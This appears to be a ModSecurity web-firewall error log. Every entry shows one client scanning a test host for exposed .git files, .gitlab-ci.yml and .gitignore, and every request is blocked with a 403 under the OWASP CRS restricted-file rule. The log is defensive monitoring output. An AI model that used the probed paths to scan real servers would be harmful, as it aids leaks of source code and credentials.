[Sun Mar 01 20:25:36.710120 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/heads/master&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/master&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTHgAAAAI&quot;]
[Sun Mar 01 20:25:36.710380 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/master&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTHgAAAAI&quot;]
[Sun Mar 01 20:25:36.710531 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/master&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTHgAAAAI&quot;]
[Sun Mar 01 20:25:36.732762 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/heads/main&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/main&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTHwAAAAI&quot;]
[Sun Mar 01 20:25:36.732991 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/main&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTHwAAAAI&quot;]
[Sun Mar 01 20:25:36.733140 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/main&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTHwAAAAI&quot;]
[Sun Mar 01 20:25:36.755638 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/remotes/origin/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/remotes/origin/HEAD&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTIAAAAAI&quot;]
[Sun Mar 01 20:25:36.755941 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/remotes/origin/HEAD&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTIAAAAAI&quot;]
[Sun Mar 01 20:25:36.756149 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/remotes/origin/HEAD&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTIAAAAAI&quot;]
[Sun Mar 01 20:25:36.778422 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/packed-refs&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/packed-refs&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTIQAAAAI&quot;]
[Sun Mar 01 20:25:36.778675 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/packed-refs&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTIQAAAAI&quot;]
[Sun Mar 01 20:25:36.778834 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/packed-refs&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTIQAAAAI&quot;]
[Sun Mar 01 20:25:36.801270 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/objects&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/objects&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTIgAAAAI&quot;]
[Sun Mar 01 20:25:36.801493 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/objects&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTIgAAAAI&quot;]
[Sun Mar 01 20:25:36.801637 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/objects&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTIgAAAAI&quot;]
[Sun Mar 01 20:25:36.823808 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/commit_editmsg&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/COMMIT_EDITMSG&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTIwAAAAI&quot;]
[Sun Mar 01 20:25:36.824039 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/COMMIT_EDITMSG&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTIwAAAAI&quot;]
[Sun Mar 01 20:25:36.824188 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/COMMIT_EDITMSG&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTIwAAAAI&quot;]
[Sun Mar 01 20:25:36.846401 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/description&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/description&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTJAAAAAI&quot;]
[Sun Mar 01 20:25:36.846643 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/description&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTJAAAAAI&quot;]
[Sun Mar 01 20:25:36.846793 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/description&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTJAAAAAI&quot;]
[Sun Mar 01 20:25:36.869152 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/fetch_head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/FETCH_HEAD&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTJQAAAAI&quot;]
[Sun Mar 01 20:25:36.869377 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/FETCH_HEAD&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTJQAAAAI&quot;]
[Sun Mar 01 20:25:36.869529 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/FETCH_HEAD&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTJQAAAAI&quot;]
[Sun Mar 01 20:25:36.891691 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/orig_head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/ORIG_HEAD&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTJgAAAAI&quot;]
[Sun Mar 01 20:25:36.891919 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/ORIG_HEAD&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTJgAAAAI&quot;]
[Sun Mar 01 20:25:36.892065 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/ORIG_HEAD&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTJgAAAAI&quot;]
[Sun Mar 01 20:25:37.144803 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.gitlab-ci.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .gitlab-ci.yml found within REQUEST_FILENAME: /.gitlab-ci.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTMQAAAAI&quot;]
[Sun Mar 01 20:25:37.145032 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTMQAAAAI&quot;]
[Sun Mar 01 20:25:37.145183 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTMQAAAAI&quot;]
[Sun Mar 01 20:25:37.259722 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.gitignore&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.gitignore found within REQUEST_FILENAME: /.gitignore&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTNgAAAAI&quot;]
[Sun Mar 01 20:25:37.259970 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTNgAAAAI&quot;]
[Sun Mar 01 20:25:37.260129 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTNgAAAAI&quot;]
